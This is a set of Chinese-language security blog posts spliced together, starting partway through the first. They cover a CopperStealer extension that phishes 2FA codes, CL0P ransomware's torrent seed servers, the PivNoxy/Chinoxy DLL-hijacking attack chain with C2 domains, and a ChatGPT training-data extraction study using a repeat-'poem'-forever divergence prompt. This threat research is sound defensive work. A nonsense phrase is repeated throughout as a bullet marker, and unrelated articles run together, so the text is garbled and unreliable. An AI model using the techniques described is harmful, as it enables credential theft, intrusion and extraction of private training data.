內容腳本分析我們進一步研究了內容腳本，以分析負責從受害者那裡竊取2FA密碼的進程。內容腳本包含以下語言的消息列表：

马云惹不起马云英語(en)

马云惹不起马云德語（de）

马云惹不起马云西班牙語（es）

马云惹不起马云法語(fr)

马云惹不起马云日語(jp)

马云惹不起马云印度尼西亞（身份證）

马云惹不起马云意大利語（它）

马云惹不起马云波蘭語(pl)

马云惹不起马云葡萄牙語(pt)

马云惹不起马云俄語(ru)

马云惹不起马云泰語（日）

马云惹不起马云 土耳其語(tr)

每條消息都包含電話和身份驗證器的標題、描述和錯誤消息。

對於“phone”，顯示的英文信息顯示為：

马云惹不起马云“title”：“請輸入手機驗證碼。”

马云惹不起马云“description”：“輸入手機短信提供的兩步驗證碼。”

马云惹不起马云“message”：“該代碼無效。請再試一次。”

對於“authenticator”，顯示的英文消息如下所示：

马云惹不起马云“title”：“請輸入驗證器的驗證碼。”

马云惹不起马云“description”：“輸入你的身份驗證應用程序提供的兩步驗證碼。”

马云惹不起马云“message”：“該代碼無效。請再試一次。”

內容腳本最初向/api/v3/brokerage/user_configuration發出請求，以查看用戶是否已登錄。然後腳本向後台腳本發送一個“homeStart”消息，並開始使用onMessage偵聽類似於後台腳本進程的“method”屬性。如果它接收到一個方法屬性等於“okApi”的消息，它會隱藏代碼加載器並移除模式窗口。如果它接收到一個方法屬性等於“errorApi”的消息，它就會創建一個模式窗口。

10.png

顯示要求輸入身份驗證代碼的模式窗口

模式窗口有輸入框並偵聽oninput事件。如果每個輸入框都包含一個數字，則將它們連接成一個“tfa”（2FA）變量，並作為“createApi”消息的參數發送到後台腳本。代碼加載器也會顯示出來。

模式窗口有六個輸入框，需要輸入六位數，這是在使用驗證器時提供的。如果受害者通過短信使用身份驗證，那麼身份驗證代碼有7位數字，模式窗口將多一個輸入框。此邏輯在模式窗口代碼中實現。收到的方法屬性等於“retryApi”的消息會刪除所有插入的數字，並以紅色顯示錯誤消息。

11.png

輸入驗證碼後，出現錯誤信息

總結CopperStealer的幕後攻擊者會經常發起攻擊，研究人員將繼續監控他們的部署，因為攻擊者找到了更多針對不知情的受害者的方法。在分析此進程時，研究人員發現此擴展程序與之前報告的惡意軟件組件之間存在多個相似之處，其中之一是惡意擴展程序和CopperStealer是從之前記錄的同一個dropper和相同的傳輸載體傳播的。

另一個驚人的相似之處是惡意擴展的命令和控制(CC)域具有與域生成算法(DGA)域相同的格式，這些域被追溯為屬於先前版本的CopperStealer。格式是由16個十六進製字符組成的字符串。此外，他們的兩個CC服務器都是使用PHP框架“CodeIgniter”構建的。這些屬性向我們暗示，惡意軟件和擴展程序背後的開發人員或運營商可能存在關聯。

建議用戶和組織從官方平台下載他們的軟件、應用程序和更新，以緩解CopperStealer等惡意軟件帶來的風險和威脅。

HireHackking

解決辦法CL0P組織利用Seed傳輸竊取的敏感數據（上）

如上所述，速度是至關重要的。加入torrent的時間窗口很短，每過一秒，找到原始播種者的可能性就會減少。為了解決這個問題，就需要不斷地監控他們的洩漏網站，以獲得新的公告，然後使用磁力鏈接開始節點過程。

一旦連接到torrent，研究人員就可以坐在群裡監視對等點，直到研究人員找到第一個顯示100%完成狀態的人。此時，信息被記錄後將自己從群中刪除。

出於講解需要，研究人員把所有受害組織的名字都改成了Pokémon。

當連接到torrent時，就會輸出。

7.png

該輸出應包括以下內容：

所連接對等點的IP地址；

對等點狀態標誌；

完成百分比；

上傳/下載速度；

Torrent客戶端；

8.1.png

8.2.png

8.3.png

映射對等點以及Pokémon

在將這些數據點連接起來之後，你最終得到的是一個連接網絡，研究人員可以將其可視化，以便更好地進行分析。

9.png

節點映射

上圖關注了三個不同的數據點:

對等點地址；

受害者；

使用中觀察到的客戶端；

研究人員根據對等點在記錄日誌時所觀察到的數據量連接每個端，然後，研究人員用顏色對鏈接進行編碼，如下圖所示，這樣100%的鏈接就會突出。

這允許快速檢查以識別地址，地址分為三類：

經確認的原始播種機；

潛在的原始播種機；

非原始文件(non-original)播種機；

再來看一看Charmander，你會注意到兩條灰色的線指向它，這些都是低於100%的鏈接，研究人員把所有100%的鏈接都編碼為紅色，藍色鏈接將對等點連接到其觀察到的客戶端字符串。如下圖所示：

10.png

CharmanderPeering

Peering在兩個ISP之間交換路由通告，以確保來自第一個ISP的業務能夠到達第二個ISP的客戶，反之亦然。對等操作主要在IXP進行，通常是免費提供或遵照雙方商定的商務協議提供。

在添加每個主機的過程中，當研究人員從受害者切換到對等點時，模式開始出現。

如果一個主機有100%的鏈接，但數量很低，比如只有2-4個，那麼研究人員認為他們是一個潛在的torrent。如果一個主機有100%的鏈接，但數量很多，那麼研究人員認為他們只是一個潛在的原始torrent。任何有低於100%鏈接的主機，研究人員都認為它們是非原始文件種子。

回到以前的IP地址81.19.135[.]21（如下圖所示），研究人員可以看到一個極似原始播種機的樣子。

11.png

原始播種機

極有可能的原始seed不僅具有100%seed的高容量，而且是許多受害者唯一登錄的對等點，此外，對等點數據集之間開始出現模式。例如，研究人員認為大多數原始種子主機都使用Transmission 3.00客戶端字符串，進一步將它們的活動綁定在一起；而一個擁有相對唯一的客戶端字符串的主機（如下圖中的主機）卻很少被發現。這讓研究人員更傾向於將它們作為一個實體，只是出於其他原因下載所有數據，並且它們已經完成了下載。

12.png

不太可能是原始播種機

所有這一切都是說，這些數據點讓研究人員能夠迅速過濾和淘汰不那麼有趣的對等點，這樣研究人員就可以把注意力集中在重要的點上。

下圖中所示的這個人甚至在每個torrent文件中更改他們的客戶端字符串。這更加證明了他們不是原始播種者，儘管在研究人員觀察他們的時候，他們已經播種了很多數據。

13.png

Nonoriginal播種機

通過查看數據並應用上述邏輯，研究人員能夠克服上述一些問題，即在發布torrent文件後研究人員才開始收集數據。

總的來說，研究人員能夠在這個數據集中識別出五個研究人員認為很有可能是原始播種者的主機，以及兩個可能成為未來播種者的主機。這有必要進行更深入的研究。

Seed Group 1有一種模式幾乎立刻就凸顯出來，那就是三個IP地址似乎在同一個網絡上。

81.19.135[.]21

81.19.135[.]25

81.19.135[.]31

這三個IP地址都存在於FlyServers（一家VPS託管公司）擁有的AS 209588的同一個子網中。 IP位於俄羅斯莫斯科。每一個都表現出有趣的特徵，這些特徵進一步將它們聯繫在一起，有力地證明了它們是由攻擊者控制的。

例如，請注意下圖所示的模式，因為它與前兩個IP地址的SSH可用性和FTP可用性有關：

14.png

81.19.135[.]21服務掃描

15.png

81.19.135[.]25服務掃描

對於以21結尾的IP, SSH端口在2023年8月6日停止響應，FTP端口在2023年8月7日開始響應。對於以25結尾的IP，研究人員看到SSH在2023年8月6日停止，FTP在同一天打開。

同樣，對於下圖中以31結尾的IP，雖然研究人員沒有SSH可見性，但研究人員可以看到FTP也在8月6日打開。

16.png

81.19.135[.]31服務掃描

服務器運行的是vsFTPd 3.0.3和OpenSSH_8.4p1。在TCP/8423上以25結尾的IP的簡短可見性表明，它已轉換為在非標準端口上運行SSH。

為了確認播種服務器是不同的實體，而不是某種負載平衡服務背後的同一個盒子，研究人員查看了vsFTPd使用的TLS證書，它們都是自簽名的：

81.19.135[.]21=44102.example.ru，有效期為2023年8月6日22:49:51 GMT-0400；81.19.135[.]25=14868.example.ru，有效期為2023年8月5日23:48:55 GMT-0400；81.19.135[.]31=33916.example.ru，有效期為2023年8月5日23:48:08 GMT-0400；

其中包括了證書的起始日期，如上所述，彼此相距大約一個小時。這意味著，CL0P在他們計劃發布第一個磁力鏈接的大約10天前，在他們公開宣布打算轉向這種傳播方式的5天前，就對這些盒子進行了預處理。

使用這些模式，研究人員擴展了對在Common Name (CN)值中包含example.ru的證書的搜索，這些證書被觀察到具有FTP。研究人員確定了同一子網上的另一台主機(如下圖所示)，它具有類似的功能，但尚未顯示在對等點信息中。

17.png

更寬的網絡識別以11結尾的新主機

你可以看到相同的行為，SSH端口在2023年8月6日失去可見性，FTP端口在2023年8月7日變為活動，這與研究人員觀察到的其他情況一致。

81.19.135[.]11=43577.example.ru，有效期為2023年8月6日23:03:31 GMT-0400

在這台主機上還值得注意的是兩個月前Windows服務的出現，如下圖所示。這意味著VPS在該時間範圍內從Windows重新調整為基於*nix的設備。

18.png

81.19.135[.]11服務掃描

為了有效地託管竊取的數據，需要進行大量的協調。可能以11結尾的IP地址正準備託管更多的受害文件。

以25和31結尾的兩個IP地址的受害者是在8月15日或幾天后公佈的。而從8月24日開始，以21結尾的IP地址開始在受害者公告中使用，其觀察到的受害者數量幾乎是其他IP地址的四倍。這可能只是研究人員觀察它們的結果，但也可能意味著這個盒子有些不同。

Seed Group 2另一個突出的IP也被Gary Warner在LinkedIn上提到，他正在尋找關於CL0P seed的相同類型的信息。

在Cl0p決定沒有人能夠通過.onion服務器下載他們被盜的數據後，他們遷移到使用bitTorrent。

當然，使用bitTorrent的問題是，攻擊者託管被盜數據的位置變得非常明顯。如果一個人訪問TORRENT，並且只有一個IP地址提供100%的數據，對於更大的數據集，那麼幾乎可以肯定，這就是攻擊者為提供文件而獲得的主機。但對於微小的數據集來說，情況並非如此，對於這些數據集，攻擊者可以在很短的時間內等待其他人獲得100%的文件，然後斷開他們的原始位置。

目前，“100%”數據集的主要位置是：

95.215.0[.]76=AS34665 Petersburg Internet, St. Petersburg Russia，這是

在pindc[.]ru上託管的公司招聘信息。

此IP地址為95.215.0[.]76，如下圖所示，與以前的數據集有一些相似之處。具體來說，使用了字符串Transmission 3.00的BitTorrent客戶端，託管提供商是另一家俄羅斯公司。

19.png

另一個已確認的原始種子服務器

果不其然，這個播種服務器（如下圖所示）表現出與其他數據集類似的行為，因為它也與服務相關。然而，這個活動比另一個數據集早一個月發生，SSH服務一直持續到7月17日，FTP服務從7月18日開始出現。

20.png

95.215.0[.]76服務掃描

這可能是一個較舊的盒子，它還使用一組不同的服務來託管FTP，並進一步利用ProFTPD。同樣，VPS託管在俄羅斯聖彼得堡，並由AS 34665宣布用於彼得堡互聯網（PIN）數據中心。

此IP與IP地址95.215.1[.]221共享下面的SSH密鑰。

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNos5CNsQHUKlXJSFDJKtPB/4FlkqW6R0crEQaONn3TJ2TICxQRUTh8DgITlLcidJf0pnn0zVMWwE6PsWDI3eZU=

雖然研究人員目前還沒有觀察到這個IP地址，但還不知道這是由於可見性問題還是該盒子尚未用於託管原因造成的，它確實與SSH和FTP共享相同的顯著行為。如下圖所示：

21.png

95.215.1[.]221服務掃描

Seed Group 3將這些模式應用到研究人員收集的其他對等體上，下圖中顯示了IP地址92.118.36[.]111。

22.png

獨立seed主機

在該樣本中，研究人員只觀察到它以100%的速度為Articuno播種了一個torrent，它位於阿姆斯特丹，由StreamHost的AS 209132宣布。

這個torrent的一致之處在於，它使用Transmission 3.00客戶端字符串，並且從8月9日開始具有類似的FTP訪問權限。如下圖所示：

23.png

92.118.36[.]111服務掃描

最後要說明的一點是，在搜索這個IP地址時，研究人員偶然發現了一個以112結尾的下一個IP的AbuseIPDB報告，如下圖所示：它在2023年6月初顯示了一份針對MOVEit漏洞的地址掃描報告，該漏洞是CL0P用來竊取所有這些數據的漏洞。

24.png

AbuseIPDB關於92.118.36[.]112的報告

這兩者之間是否有關聯尚不清楚，但如果沒有關聯，這將是一個有趣的巧合。

總結在本文所講解的樣本中，俄羅斯的幾個託管服務器保存了大量被盜受害者的數據。

根據分析，這些攻擊者很可能利用FTP將被盜文件傳輸到種子盒。另外，在FTP服務啟動之前，SSH訪問的一般可見性會立即關閉，這可能意味著很多事情，但最重要的是，在宣布磁力鏈接之前，他們可能會在服務器上預留被盜數據相當長的一段時間。

同樣，受害者數據在seed盒中的分佈也與他們的公告時間表不一致。這說明在torrent產生之前，數據已經在盒子上保存了一段時間，這可能是他們用來避免seed追踪的一種技術，方法是同時宣布不同的受害者，但從不同的盒子裡播種。

HireHackking

CL0P是2023年最活躍的勒索軟件組織之一，僅次於LockBit，在最近10個事件響應樣本中，研究人員均觀察到了CL0P。 CL0P勒索軟件組織在成功竊取了數千家公司的數據後，開始使用torrent來傳播受害者數據。

CL0P的torrentseed基礎設施為研究人員提供了一個獨特的機會，讓研究人員深入了解了臭名昭著的勒索軟件組織的直接運行方式，並深入了解他們的交易技巧。通過分析託管被盜數據的現有torrentseed基礎設施，研究人員可以更好地了解這一變化的含義。

1.png

為了保護這次攻擊的受害者，研究人員將組織的名稱換成了Pokémon的名稱

CL0P和MOVEit傳輸漏洞的歷史2023年5月底，Progress開發的一款名為MOVEit的軟件產品成為CL0P勒索軟件組織利用的零日漏洞的目標。

CL0P聲稱利用了MOVEit傳輸漏洞，據美國網絡安全和基礎設施局(CISA)估算，該組織對3000多家美國組織和8000多家全球組織實施了攻擊。

CL0P於2019年初出現，並因對受害者使用勒索策略來增加支付贖金的壓力而迅速臭名昭著，他們竊取數據並發布其中的片段。所以，受害者寧願付費，也不願冒險讓他們的數據在全球曝光，這可能比任何傳統的勒索軟件活動都更具破壞性。

然後，這些數據被發佈在一個“洩漏網站”上，如下圖所示，該網站通過洋蔥路由器（Tor）網絡提供服務，這樣做CL0P就可以發起匿名攻擊。

3.png

CL0P洩漏

如果你以前用過Tor瀏覽器，就會發現為了匿名，運行速度會非常慢。雖然近年來這方面有了很大的改善，但由於傳輸速度的原因，試圖從洩漏網站下載數據仍然是一個挑戰。

但是，當你從成千上萬的公司竊取數據時，下載速度會慢的讓人發狂。 Torrenting 使世界各地的用戶能夠連接和分享內容，而不必依賴單一的下載源，儘管這種方法很合適，但它仍然有一些缺點。下載過程會影響你設備的速度和功能，而且大文件會佔用大量的存儲空間，這看似對受害者有利，因為通過洋蔥網絡獲取一些洩漏信息是不切實際的。既然攻擊者無法下載被盜數據，為什麼還要支付贖金呢?CL0P改變了他們的策略來解決這個新的數據訪問問題。他們在洩露網站上發帖稱，從2023年8月15日起，他們將開始通過包括torrent在內的多種新方法發布被盜數據，這種方法利用節點文件交換，大大加快了下載過程。

4.png

數據發布變更公告

為此，攻擊者兌現了他們的聲明，並創建了一個新的洩漏網站，該網站具有磁力鏈接，即包含文件哈希的超鏈接。大多數torrent客戶端都可以使用這些鏈接來下載數據。

所以，當受害者拒絕支付勒索金額時，攻擊者都會通過這種方法穩定地發布一組新的受害者數據。

5.png

具有磁力鏈接的CL0P洩漏網站

人們現在可以以更合理的速度下載128 GB的ZIP文件，而不是試圖通過洋蔥網絡下載一個可能需要幾天甚至幾週才能獲得的文件。然而，torrent有一個問題，那就是數據必須先被播種，這樣你就可以為其他人引導下載速度。這為研究人員提供了一個獨特的機會，通過識別和分析這些torrent的初始seed來深入了解CL0P操作，這個識別過程將是本文的講解重點。

Torrent在深入分析之前，有必要回顧一下torrent的一些概念及其功能。

有兩種類型的“Torrent”，torrent文件本身大多數人都很熟悉，還有磁力鏈接。 torrent文件將包含一條關於跟踪器的信息。

然後，該跟踪器將與客戶端共享節點信息，以便客戶端可以定期接收有關其他對等點的更新，這些對等點可能擁有它們試圖下載的數據片段，這允許對等點快速連接到多個其他對等點，並開始以更高的速率交換數據。

跟踪器對於正常的交換非常有用，但對於操作安全性來說可能不是最好的，因為它們提供了對等點的列表。

磁力鏈接類似於torrent文件，但它們通常沒有任何與跟踪器相關的信息。相反，當客戶端加載磁力鏈接時，它將包含一個從文件的多個方面計算出來的哈希值，該哈希值用於唯一標識torrent所代表的數據。

這種無跟踪器torrent的工作原理是連接到一個分佈式哈希表（DHT）節點，並尋找對等點，這樣就可以交換信息了。

6.png

torrenting過程，將追踪器的使用與磁力鏈接進行比較

然後，這些對等點可以交換他們所知道的其他對等點的信息，並且他們可以開始構建連接網絡，最終加快下載過程。

這種去中心化的方法是CL0P為其數據傳播所選擇的。

計劃當然，這種可跟踪性對於任何以前使用過BitTorrent的人來說都不是什麼新聞。多年來，政府、律師事務所和其他機構一直使用這一機制來跟踪與盜版相關活動的同行。

20世紀90年代末，美國唱片業協會（RIAA）對Napster採取了法律行動，接下來的幾年裡，這些因參與這些節點交換的用戶而被起訴，因為這些組織可以識別連接的對等點的IP地址。

那這有什麼不同呢?這裡的主要區別在於，研究人員處理的不是一部被盜電影的torrent，而是數百個單獨的torrent。每個torrent都需要一個初始seed，以便對等點連接、開始下載和交換數據，這就為攻擊創造了機會，其中只有一個對等點擁有100%的文件，而其他對等點正在下載其他部分。

識別遊戲的名稱是速度，其中有兩個因素。首先，你加入這個去中心化群的速度；第二，你與初始100%播種器節點的速度。

當只處理一個torrent時，這兩個因素都非常不可靠。然而，當你從更宏觀的角度看所有的torrent數據時，它描繪了一個非常不同的畫面。

由於研究人員是在後期才加入了torrent，結果100%的對等點不像最初的播種者（seeder）那樣可靠。為了抵消這種影響，研究人員查看了攻擊者釋放它們時的所有節點流，並與較舊的torrent流進行了交叉引用。這讓研究人員可以看到哪些人可能是“真正的”播種者。

在繼續之前，研究人員需要做個簡短的警告，許多人出於各種原因下載這些洩露數據。有時是出於惡意的原因，如獲取憑證、竊取知識產權或進一步利用受害者。

然而，還有許多其他實體出於善意下載了這些數據，他們用這些數據來進一步幫助受害者或其他組織，或進行研究。雖然研究人員無法推斷意圖，但至少可以比較兩組實體的行為。

HireHackking

最近，南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件，這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息，目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台：Windows

马云惹不起马云受影響方：Windows 用戶

马云惹不起马云影響：控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別：中等

攻擊概述攻擊始於一封簡單的電子郵件，其中只附上了一份文件作為附件：

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的，這是一種網絡釣魚“武器”，被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器，允許APT 組織創建帶有嵌入式對象的RTF 文件，這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括：

马云惹不起马云CVE-2017-11882（Microsoft Office 內存損壞漏洞）；

马云惹不起马云CVE-2018-0802（Microsoft Office 內存損壞漏洞）；

马云惹不起马云CVE-2018-0798（Microsoft Office 內存損壞漏洞）；

打開電子郵件附件“Please help to CHECK.doc”，會打開一個誘餌Word 文件。同時，它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明，並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是，舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意，文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後，這個惡意文件會釋放三個文件：

C:\\ProgramData\Cannon\Cannondriver.exe；

C:\\ProgramData\Cannon\LBTServ.dll；

C:\\ProgramData\Cannon\Microsoft.BT；

儘管文件名是假的，但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe，全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面，LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意，此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明，他們要么在近一年前就準備好攻擊目標，要么已經開始囤積惡意軟件，隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現，就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上，它調用名為LGBT_Launch的導出，該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後，惡意函數就加載了另一個被釋放的文件Microsoft.BT ，並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈，後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而，目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll，而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com，這是一個動態DNS，將連接重定向到攻擊者託管有效負載的IP。不幸的是，在調查時沒有遠程文件可用。幸運的是，nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT)，早在十多年前就被發現。 RAT 也稱為Pivy，活躍在地下論壇中，允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客，詳細介紹了PoisonIvy 的工作原理：

Poison Ivy 新變種的深度分析；

新Poison Ivy/PlugX 變體的深度分析；

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此，PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊，但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3)，該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明，該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ，並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中，union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中，LBTServ.dll 包含完整的後門有效負載，而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持，有8 個虛假導出，還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信，這兩種攻擊最有可能來自攻擊組織，但根據向VirusTotal提交文件的日期，這兩種攻擊可能發生在2022年1月。

更有趣的是，719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”，而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後，時間是2016-07-09 13:18:11 UTC。這些數據表明，該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在，讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說，我們將重點介紹他們使用的一個文件，即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞，以便在執行真正的羅技進程時加載。隨著時間的推移，這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件，執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到，在2021年第三季度，攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體，該變體從文件中解密和加載shellcode ，並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現，從2016 年年中到2018 年底，“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中，惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串，它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據，這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是，同一個C2 服務器已經使用了兩年多。分析表明，該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初，情況一直相對平靜。該組織回歸後，首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器，與許多程序一樣，它會聯繫服務器以檢查更新。然而，APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件，而是改變了攻擊策略，並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似，此PivNoxy 變體（SHA2：5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6）使用一個偽造的更新包來解壓多個文件，包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而，在本示例中，“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件，PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家，但研究人員的分析表明，更多受感染的遊戲玩家來自墨西哥。

此時，該攻擊組織再次決定隱身。一直到2022 年5 月，該組織偽裝成來自巴基斯坦政府部門，向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次，它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據，近70%的攻擊來自墨西哥，近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡，對這三個域的所有訪問都來自印度。由於它們是動態DNS，因此並非所有連接都可以視為與攻擊組織有關。然而，2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分，該組織使用FunnyDream 後門作為其工具集的一部分，主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度，而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法，ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外，NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”，攻擊者將其用作Smanager 惡意軟件的C2 服務器，該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件，該電子郵件最初似乎是標準的惡意垃圾郵件。但是，附加的Word 文件是含有Royal Road 惡意負載，可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載，但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析，亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標，我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

HireHackking

0.png

ChatGPT等大語言模型（LLM）使用來自圖書、網站及其他來源的海量文本數據進行訓練，通常情況下，訓練它們所用的數據是一個秘密。然而，最近的一項研究揭示：它們有時可以記住並反芻訓練它們所用的特定數據片段。這個現象名為“記憶”。

隨後，來自谷歌DeepMind、華盛頓大學、加州大學伯克利分校及其他機構的研究人員著手去研究這些模型（包括ChatGPT）可以記住多少數據以及記住哪種類型的數據。

這項研究的重點是“可提取的記憶”，即人們可以通過提出特定的問題或提示從模型中檢索的記憶。他們想看看外部實體是否可以在事先不知道有什麼數據的情況下提取模型學到的數據。

1.png

圖1

研究團隊在多種語言模型上進行了廣泛深入的實驗，包括知名的GPT-Neo、LLaMA和ChatGPT。他們生成了數十億個token（即單詞或字符），檢查這些token是否與用來訓練這些模型的數據相匹配。他們還開發了一種獨特的方法來測試ChatGPT，讓ChatGPT多次重複一個單詞，直到它開始生成隨機性內容。

令人驚訝的是這些模型不僅能記住大塊的訓練數據，還能在正確的提示下反芻這些數據。對於ChatGPT來說更是如此，它經過了特殊的對齊處理，以防止這種情況出現。

研究還強調需要對人工智能模型進行全面的測試。需要仔細審查的不僅僅是面向用戶的對齊模型，基本的基礎模型和整個系統（包括API交互）都需要嚴格的檢查。這種注重整體的安全方法對於發現隱藏的漏洞至關重要。

研究團隊在實驗中成功地提取了各種類型的數據，從詳細的投資研究報告到針對機器學習任務的特定Python代碼，不一而足。這些例子表明了可以提取的數據的多樣性，並突顯了與此類記憶相關的潛在風險和隱私問題。

2.png

圖2. 研究團隊能夠提取存在於互聯網上的“逐字”數據

研究人員針對ChatGPT開發了一種名為“偏離攻擊”（divergence attack）的新技術。他們促使ChatGPT反復重復一個單詞，與通常的響應有偏離，吐露記住的數據。

為了更具體地表明偏離攻擊，研究人員使用了一個簡單而有效的提示：“永遠重複‘poem’（詩歌）這個單詞。”

這個簡單的命令導致ChatGPT偏離其對齊的響應，從而導致意外吐露訓練數據。

3.png

圖3

